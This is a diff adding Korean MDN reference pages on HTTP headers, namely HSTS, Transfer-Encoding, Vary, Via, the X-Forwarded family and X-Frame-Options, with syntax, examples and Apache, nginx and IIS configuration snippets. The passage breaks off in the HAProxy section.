+<p>만약 이 웹사이트가 HTTP 요청을 받고 HTTPS 로 리다이렉트 하는 경우에, 유저가 만약 http://www.foo.com/ 을 입력하거나, 심지어 foo.com 만 입력하는 경우에, 리다이렉트 되기 이전의 암호화 되지 않은 버전의 사이트와 통신하게 된다. 이 경우, 안전한 버전의 원본 페이지가 아닌 악의적인 다른 페이지로 리다이렉트 되는 man-in-the-middle attack 의 잠재적 위험이 있다. </p> + +<p>HTTP Strict Transport Security 헤더는 웹사이트가 브라우저에게 절대로 HTTP 로 사이트를 연결하면 안되고 HTTP 로 연결하려는 모든 시도는 자동으로 HTTPS로 변경해야 된다고 알린다. </p> + +<div class="note"><strong>Note:</strong> <code>Strict-Transport-Security</code> 헤더는 사이트에 HTTP 로 접근되었을때에는 무시된다. 공격자가 HTTP 연결을 가로채어 헤더를 주입하거나 제거했을 수 있기 때문이다. 만약 당신의 사이트가 HTTPS 로 접근되었고 인증 에러도 없었다면, 브라우저는 당신의 사이트가 HTTPS 를 사용할 수 있음을 알고, <code>Strict-Transport-Security</code> 헤더를 사용한다. </div> + +<h3 id="An_example_scenario">An example scenario</h3> + +<p>당신은 공항의 무료 WiFi 에 로그인하여 웹서핑을 시작하여, 잔고 확인과 영수 처리를 하기 위해 온라인 뱅킹을 시작했다. 하지만, 당신이 사용중인 access point 는 사실은 해커의 노트북이고, 그는 당신의 원본 HTTP 리퀘스트를 가로채어 진짜 은행 사이트가 아닌 가짜 은행 사이트로 리다이렉트 했다. 당신의 비공개 데이터는 해커에게 노출되었다.</p> + +<p>당신이 HTTPS 를 이용해서 은행의 웹사이트를 접근한 적이 있었고, 그 은행의 웹사이트가 Strict Transport Security 를 사용한다면 당신의 브라우저는 자동으로 HTTPS 만 사용할 것이고, 해커가 이러한 man-in-the-middle 공격을 하는것을 방지해준다. 따라서 Strict Transport Security는 이러한 문제를 해결해준다.</p> + +<h3 id="How_the_browser_handles_it">How the browser handles it</h3> + +<p>맨 처음 HTTPS 를 이용해서 접근되면 당신의 사이트는 <code>Strict-Transport-Security</code> 헤더를 응답한다. 당신의 브라우저는 이러한 정보를 기록해서 이후에 HTTP 로 접근하려는 시도를 자동으로 HTTPS 를 사용하도록 변경한다. </p> + +<p>만약 Strict-Transport-Security 헤더에 명시된 만료시간(expiration time)이 지나면, HTTP 로 접근하려는 다음 시도는 HTTPS 를 사용하지 않는다.</p> + +<p>Strict-Transport-Security 헤더가 브라우저에게 제공되면, 브라우저는 해당 사이트의 만료시간을 갱신하여 만료되지 않도록 한다. Strict Transport Security 헤더를 의 max-age 값을 0으로 지정(HTTPS 연결중)하면 <code>Strict-Transport-Security</code>헤더가 즉시 비활성 되어 HTTP 를 통한 접근이 허용된다.</p> + +<h2 id="Preloading_Strict_Transport_Security">Preloading Strict Transport Security</h2> + +<p>구글은 <a href="https://hstspreload.appspot.com/">HSTS preload service</a> 를 관리하고 있다. 가이드라인을 따르고 당신의 도메인 등록을 성공하면, 브라우저는 당신의 도메인에 안전하지 않은 연결을 하지 않게 된다. 이 서비스는 구글에 의해 제공되지만, 모든 브라우저는 preload list 를 사용하겠다는 의도를 밝혔다(혹은 실제로 사용하고있다). </p> + +<ul> + <li>Information regarding the HSTS preload list in Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> + <li>Consultation of the Firefox HSTS preload list : <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li> +</ul> + +<h2 id="Examples">Examples</h2> + +<p>모든 서브도메인을 포함해서 최대 1년간 HTTPS 를 통해 접근하겠다는 이 페이지와 서브도메인들 모두 HTTP 를 통한 접근을 막는다.</p> + +<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HSTS')}}</td> + <td>{{Spec2('HSTS')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Strict-Transport-Security")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li> + <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li> + <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> + <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> +</ul> diff --git a/files/ko/web/http/headers/transfer-encoding/index.html b/files/ko/web/http/headers/transfer-encoding/index.html new file mode 100644 index 0000000000..0b2f3900fc --- /dev/null +++ b/files/ko/web/http/headers/transfer-encoding/index.html @@ -0,0 +1,104 @@ +--- +title: Transfer-Encoding +slug: Web/HTTP/Headers/Transfer-Encoding +translation_of: Web/HTTP/Headers/Transfer-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Transfer-Encoding</code></strong> 헤더는 사용자에게 {{Glossary("Entity header","entity")}}를 안전하게 전송하기 위해 사용하는 인코딩 형식을 지정합니다.</p> + +<p><code>Transfer-Encoding</code>은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop 헤더</a>로, 리소스 자체가 아닌 두 노드 사이에 메시지를 적용하는 것입니다. 다중-노드 연결의 각각의 세그먼트는 <code>Transfer-Encoding</code> 의 값을 다르게 사용할 수 있습니다. 만약 전체 연결에 있어 데이터를 압축하고자 한다면, end-to-end 헤더인 {{HTTPHeader("Content-Encoding")}} 헤더를 대신 사용하시기 바랍니다.</p> + +<p>본문이 없는 {{HTTPMethod("HEAD")}} 요청에 대한 응답은 그에 대한 {{HTTPMethod("GET")}} 메시지에 적용될 값을 나타냅니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Transfer-Encoding: chunked +Transfer-Encoding: compress +Transfer-Encoding: deflate +Transfer-Encoding: gzip +Transfer-Encoding: identity + +<em>// 어떤 값들은 쉼표로 구분하여 나열될 수 있습니다</em> +Transfer-Encoding: gzip, chunked</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>chunked</code></dt> + <dd>데이터가 일련의 청크 내에서 전송됩니다. {{HTTPHeader("Content-Length")}} 헤더는 이 경우 생략되며, 각 청크의 앞부분에 현재 청크의 길이가 16진수 형태로 오고 그 뒤에는 '\r\n'이 오고 그 다음에 청크 자체가 오며, 그 뒤에는 다시 '\r\n'이 옵니다. 종료 청크는 그것의 길이가 0인 것을 제외하면 일반적인 청크와 다르지 않습니다. 그 다음에는 (비어있을수도 있는) 연속된 엔티티 헤더 필드로 구성된 트레일러가 옵니다.</dd> + <dt><code>compress</code></dt> + <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 형식. 값의 이름은 이 알고리즘을 구현한, UNIX <em>compress</em> 프로그램에서 차용된 것입니다.<br> + 대부분의 UNIX 배포판에서 제외된 압축 프로그램처럼, 이 content-encoding은 어느 정도는 (2003년에 기한이 만료된) 특허 문제로 인해 오늘날 거의 대부분의 브라우저에서 사용되지 않고 있습니다.</dd> + <dt><code>deflate</code></dt> + <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에서 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조체를 사용합니다.</dd> + <dt><code>gzip</code></dt> + <dd>32비트 CRC를 이용한 <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 형식. 이것은 근본적으로 UNIX <em>gzip</em> 프로그램의 형식입니다. 또한, HTTP/1.1 표준은 이 content-encoding을 지원하는 서버는 호환성 목적을 위해 <code>x-gzip</code> 을 별칭으로 인지할 것을 권고하고 있습니다.</dd> + <dt><code>identity</code></dt> + <dd>정체성 기능 (즉, 압축이나 수정이 없는) 을 나타냅니다. 이 토크은 명시적으로 지정되는 경우를 제외하고 항상 허용 가능한 것으로 간주됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="청크_분할_인코딩">청크 분할 인코딩</h3> + +<p>청크 분할 인코딩은 더 많은 양의 데이터가 클라이언트에 전송되고 요청이 완전히 처리되기 전까지는 응답의 전체 크기를 알지 못하는 경우 유용하다. 데이터베이스 쿼리의 결과가 될 큰 HTML 테이블을 생성하는 경우나 큰 이미지를 전송하는 경우가 그 예입니다. 청크 분할 응답은 다음과 같습니다:</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +\r\n</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/transfer-encoding")}}</p> + +<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p> + </li> +</ul> diff --git a/files/ko/web/http/headers/vary/index.html b/files/ko/web/http/headers/vary/index.html new file mode 100644 index 0000000000..8743328eb1 --- /dev/null +++ b/files/ko/web/http/headers/vary/index.html @@ -0,0 +1,82 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +translation_of: Web/HTTP/Headers/Vary +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Vary</code></strong> 헤더는 캐시 된 응답을 향후 요청들에서 오리진 서버로 새로운 요청 헤더를 요청하는 대신 사용할 수 있는지 여부를 결정합니다. 이것은 서버에서 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a> 알고리즘에 어떤 리소스를 선택을 할 것인지를 가르킵니다.</p> + +<p><code>Vary</code> 헤더는 {{HTTPStatus("200")}} <code>OK</code> 응답과 동일하게 {{HTTPStatus("304")}} <code>Not Modified</code> 응답에서도 설정 되어야 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Vary: * +Vary: <header-name>, <header-name>, ... +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt>*</dt> + <dd>각 요청에 대해서 유일하며 캐시 할 수 없는 요청으로 간주합니다.<br> + 이보다 더 좋은 방법으로 {{HTTPHeader("Cache-Control")}}: <code>no-store</code>, 를 사용 하는것이 객체를 저장하면 안된다는 의미로 좀더 명확하게 표시되고 읽을 수 있습니다.</dd> + <dt><header-name></dt> + <dd>헤더 이름은 쉼표로 구분되며 캐시 된 응답을 사용할 수 있는지 여부를 결정할 때 사용 됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="동적_제공">동적 제공</h3> + +<p><code>Vary: User-Agent</code> 헤더를 사용시 캐싱 서버는 캐시된 페이지를 응답할지 여부를 User-Agent 로 고려해야합니다. 예를 들어, 모바일 유저에게 다른 컨텐츠를 제공해야 할 경우, 모바일 유저에게 데스크탑 유저를 위한 캐시 컨텐츠가 제공 되는것을 피할 수 있습니다. 구글이나 다른 검색 엔진등 에서 모바일 버전을 발견 할수 있는데 도움이 되며, <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a>이 의도되지 않는다고 볼 수도 있습니다.</p> + +<pre>Vary: User-Agent</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Vary", "7.1.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Vary")}}</p> + +<h2 id="호환성_노트"><span class="trans_txt">호환성 노트</span></h2> + +<ul> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li> +</ul> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Understanding The Vary Header - Smashing Magazine</a></li> + <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li> + <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Content negotiation</a></li> +</ul> diff --git a/files/ko/web/http/headers/via/index.html b/files/ko/web/http/headers/via/index.html new file mode 100644 index 0000000000..80bc54a6ff --- /dev/null +++ b/files/ko/web/http/headers/via/index.html @@ -0,0 +1,79 @@ +--- +title: Via +slug: Web/HTTP/Headers/Via +tags: + - 한국어 + - 헤더 +translation_of: Web/HTTP/Headers/Via +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Via</strong></code> 헤더는 요청헤더와 응답헤더에 포워드 프록시와 리버스 프록시에 의해서 추가 됩니다. 이 것은 포워드 메시지를 추적하거나, 요청 루프 방지, 요청과 응답 체인에 따라 송신자의 프로토콜 정보를 식별 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox notranslate">Via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] +or +Via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><protocol-name></dt> + <dd>선택사항. "HTTP" 와 같은 사용된 프로토콜의 이름.</dd> + <dt><protocol-version></dt> + <dd>"1.1" 과 같이 사용된 프로토콜의 버전.</dd> + <dt><host> and <port></dt> + <dd>공용 프록시의 URL 과 port.</dd> + <dt><pseudonym></dt> + <dd>내부 프록시의 이름 또는 별칭.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre class="notranslate">Via: 1.1 vegur +Via: HTTP/1.1 GWA +Via: 1.0 fred, 1.1 p.example.net +</pre> + +<h2 id="기술사양">기술사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7230", "Via", "5.7.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Via")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li><a href="https://github.com/heroku/vegur">Heroku's proxy library Vegur</a></li> +</ul> diff --git a/files/ko/web/http/headers/x-forwarded-for/index.html b/files/ko/web/http/headers/x-forwarded-for/index.html new file mode 100644 index 0000000000..9af08b5213 --- /dev/null +++ b/files/ko/web/http/headers/x-forwarded-for/index.html @@ -0,0 +1,81 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +tags: + - HTTP + - HTTP 헤더 + - Reference + - 비표준 + - 요청 헤더 + - 헤더 +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-For</code></strong> (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드 밸런서를 거치면, 서버 접근 로그에는 프록시나 로드 밸런서의 IP 주소만을 담고 있다. 클라이언트의 원 IP 주소를 보기위해 X-Forwarded-For 요청 헤더가 사용된다.</p> + +<p>이 헤더는 디버깅, 통계, 그리고 위치 종속적인 컨텐츠를 위해 사용되고, 클라이언트의 IP 주소 등과 같은 민감한 개인정보를 노출시킨다. 그러므로 이 헤더를 사용할 때에는 사용자의 프라이버시를 주의해야 한다.</p> + +<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더다.</p> + +<p><code>X-Forwarded-For</code> 은 이메일 메시지가 다른 계정으로부터 포워딩되었음을 나타내는 이메일 헤더이기도 하다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">X-Forwarded-For: <client>, <proxy1>, <proxy2> +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><client></dt> + <dd>클라이언트 IP 주소</dd> + <dt><proxy1>, <proxy2></dt> + <dd>하나의 요청이 여러 프록시들을 거치면, 각 프록시의 IP 주소들이 차례로 열거된다. 즉, 가장 오른쪽 IP 주소는 가장 마지막에 거친 프록시의 IP 주소이고, 가장 왼쪽의 IP 주소는 최초 클라이언트의 IP 주소다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 + +X-Forwarded-For: 203.0.113.195 + +X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 +</pre> + +<p>다른 비표준 형태:</p> + +<pre># 몇몇 구글 서비스에서 사용된다 +X-ProxyUser-Ip: 203.0.113.19</pre> + +<h2 id="기술명세">기술명세</h2> + +<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 이다.</p> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-For")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}}</li> +</ul> diff --git a/files/ko/web/http/headers/x-forwarded-host/index.html b/files/ko/web/http/headers/x-forwarded-host/index.html new file mode 100644 index 0000000000..6efc37a374 --- /dev/null +++ b/files/ko/web/http/headers/x-forwarded-host/index.html @@ -0,0 +1,74 @@ +--- +title: X-Forwarded-Host +slug: Web/HTTP/Headers/X-Forwarded-Host +tags: + - HTTP + - HTTP Header + - Non-standard + - Reference + - Request header + - header + - 레퍼런스 + - 비표준 + - 요청헤더 + - 헤더 +translation_of: Web/HTTP/Headers/X-Forwarded-Host +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-Host</code></strong> (XFH) 헤더는 HTTP 요청 헤더에서 클라이언트가 요청한 원래 {{HTTPHeader("Host")}} 헤더를 식별하는 사실상의 표준 헤더입니다.</p> + +<p>리버스 프록시(로드발란서, CDN) 에서 Host 이름과 포트는 요청을 처리 하는 Origin 서버와 다를 수 있습니다. 이러한 경우 <code>X-Forwarded-Host</code> 헤더는 원래 사용된 Host 를 확인 하는데 유용 합니다.</p> + +<p>이 헤더는 디버깅, 통계 및 위치 종속 컨텐츠 생성에 사용되며 설계 상 클라이언트의 IP 주소와 같은 개인 정보에 민감한 정보를 노출합니다. 따라서이 헤더가 사용될 때 사용자의 개인 정보를 염두에 두어야합니다.</p> + +<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">X-Forwarded-Host: <host> +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><host></dt> + <dd>전달된 서버의 도메인 이름.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>X-Forwarded-Host: id42.example-cdn.com +</pre> + +<h2 id="기술명세">기술명세</h2> + +<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 입니다.</p> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-Host")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> +</ul> diff --git a/files/ko/web/http/headers/x-forwarded-proto/index.html b/files/ko/web/http/headers/x-forwarded-proto/index.html new file mode 100644 index 0000000000..d81782152e --- /dev/null +++ b/files/ko/web/http/headers/x-forwarded-proto/index.html @@ -0,0 +1,61 @@ +--- +title: X-Forwarded-Proto +slug: Web/HTTP/Headers/X-Forwarded-Proto +translation_of: Web/HTTP/Headers/X-Forwarded-Proto +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-Proto</code></strong> (XFP) 헤더는 클라이언트가 당신의 프록시 또는 로드 밸런서에 접속하는데에 사용했던 프로토콜(HTTP 또는 HTTPS)이 무엇인지 확인하는 사실상의 표준 헤더 입니다. 당신의 서버 접근 로그들은 서버와 로드 밸런서 사이에서 사용된 프로토콜을 포함하고 있습니다. 그러나 클라이언트와 로드밸런서에 사용한 프로토콜은 포함되어 있지 않습니다. 클라이언트와 로드밸런서 간의 사용된 프로토콜을 확인하기 위해서, <code>X-Forwarded-Proto 요청 헤더가 사용되어 질 수 있습니다.</code></p> + +<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">X-Forwarded-Proto: <protocol> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><protocol></dt> + <dd>넘겨져야 할 프로토콜 (http 또는 https).</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre>X-Forwarded-Proto: https</pre> + +<p>그 외의 비표준 폼:</p> + +<pre># Microsoft +Front-End-Https: on + +X-Forwarded-Protocol: https +X-Forwarded-Ssl: on +X-Url-Scheme: https +</pre> + +<h2 id="Specifications">Specifications</h2> + +<p>어떠한 현재의 명세에도 포함되어 있지 않습니다. 이 헤더의 표준화된 버전은 {{HTTPHeader("Forwarded")}} 입니다..</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> +</ul> diff --git a/files/ko/web/http/headers/x-frame-options/index.html b/files/ko/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..75e72e0ded --- /dev/null +++ b/files/ko/web/http/headers/x-frame-options/index.html @@ -0,0 +1,129 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>X-Frame-Options</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> 응답 헤더는 해당 페이지를 {{HTMLElement("frame")}} 또는{{HTMLElement("iframe")}}, {{HTMLElement("object")}} 에서 렌더링할 수 있는지 여부를 나타내는데 사용됩니다. 사이트 내 콘텐츠들이 다른 사이트에 포함되지 않도록 하여 {{interwiki("wikipedia", "clickjacking")}} 공격을 막기 위해 이 헤더를 사용합니다.</p> + +<p>이 설정은 사용자가 <code>X-Frame-Options</code>를 지원하는 브라우저를 통해 페이지에 접근할 경우에만 보안됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p><code>X-Frame-Options</code> 과 관련해서는 다음의 3가지 설정이 가능합니다.</p> + +<pre class="syntaxbox">X-Frame-Options: deny +X-Frame-Options: sameorigin +X-Frame-Options: allow-from https://example.com/ +</pre> + +<h3 id="Directives">Directives</h3> + +<p><code>deny</code>는 같은 사이트 내에서 frame을 통한 접근도 막습니다.<br> + <code>sameorigin</code>를 명시할 경우에는 frame에 포함된 페이지가 페이지를 제공하는 사이트와 동일한할 경우 계속 사용할 수 있습니다.</p> + +<dl> + <dt><code>deny</code></dt> + <dd>어떠한 사이트에서도 frame 상에서 보여질 수 없습니다.</dd> + <dt><code>sameorigin</code></dt> + <dd>동일한 사이트의 frame에서만 보여집니다. 해당 스펙 안에서 브라우저 벤더가 최상위(top level), 혹은 부모(parent), 모든 체인(whole chain)에서 적용할지를 결정하도록 맡겨집니다. 하지만 모든 조상(ancestor)이 동일한 사이트에서 제공되지 않으면 이 옵션은 그다지 유용하지 않다고 논의되고 있습니다. (참고 {{bug(725490)}}). 상세 지원사항에 대한 참고 {{anch("Browser compatibility")}}.</dd> + <dt><code>allow-from <em>uri</em></code></dt> + <dd>지정된 특정 uri의 frame 에서만 보여집니다. 파이어폭스에서는 <code>sameorigin</code> 과 동일한 문제를 겪고 있습니다. 즉 동일한 사이트에 있는지에 대해서 frame의 조상(ancestor)을 확인하지 않습니다.</dd> +</dl> + +<h2 id="예시">예시</h2> + +<div class="note"> +<p><strong>Note:</strong> 메타 테그 설정은 무용지물이다! 이를테면, <code><meta http-equiv="X-Frame-Options" content="deny"></code> 태그는 아무런 영향을 미치지 않는다. 따라서 사용하지지 말ㄹ! 오직 아래의 예제처럼 HTTP 헤더 설정을 통해서만<code>X-Frame-Options</code>이 동작한다.</p> +</div> + +<h3 id="Apache_설정">Apache 설정</h3> + +<p>아파치에서 모든 페이지에 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트 설정에 다음의 설정을 추가합니다.</p> + +<pre>Header always set X-Frame-Options "sameorigin" +</pre> + +<p>아파치에서 <code>X-Frame-Options</code> 거부(deny)하려면, 사이트 설정에 다음의 설정을 추가합니다.</p> + +<pre>Header set X-Frame-Options "deny" +</pre> + +<p>아파치에서 특정 호스트(host)에서 <code>X-Frame-Options</code> 를 허용하려면(<code>allow-from)</code>, 사이트 설정에 다음의 설정을 추가합니다.</p> + +<pre>Header set X-Frame-Options "allow-from https://example.com/" +</pre> + +<h3 id="nginx_설정">nginx 설정</h3> + +<p>nginx에서 <code>X-Frame-Options</code> 헤더를 전송하려면 http, server, location 설정에 아래 설정을 추가합니다.</p> + +<pre>add_header X-Frame-Options sameorigin; +</pre> + +<h3 id="IIS_설정">IIS 설정</h3> + +<p>ISS에서 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트의 <code>Web.config</code> 파일에 다음을 추가합니다.</p> + +<pre class="brush: xml"><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="sameorigin" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer> +</pre> + +<h3 id="HAProxy_설정">HAProxy 설정</h3> + +<p>HAProxy에서 <code>X-Frame-Options</code> 헤더를 전송하려면, front-end, listen, 혹은 backend 설정에 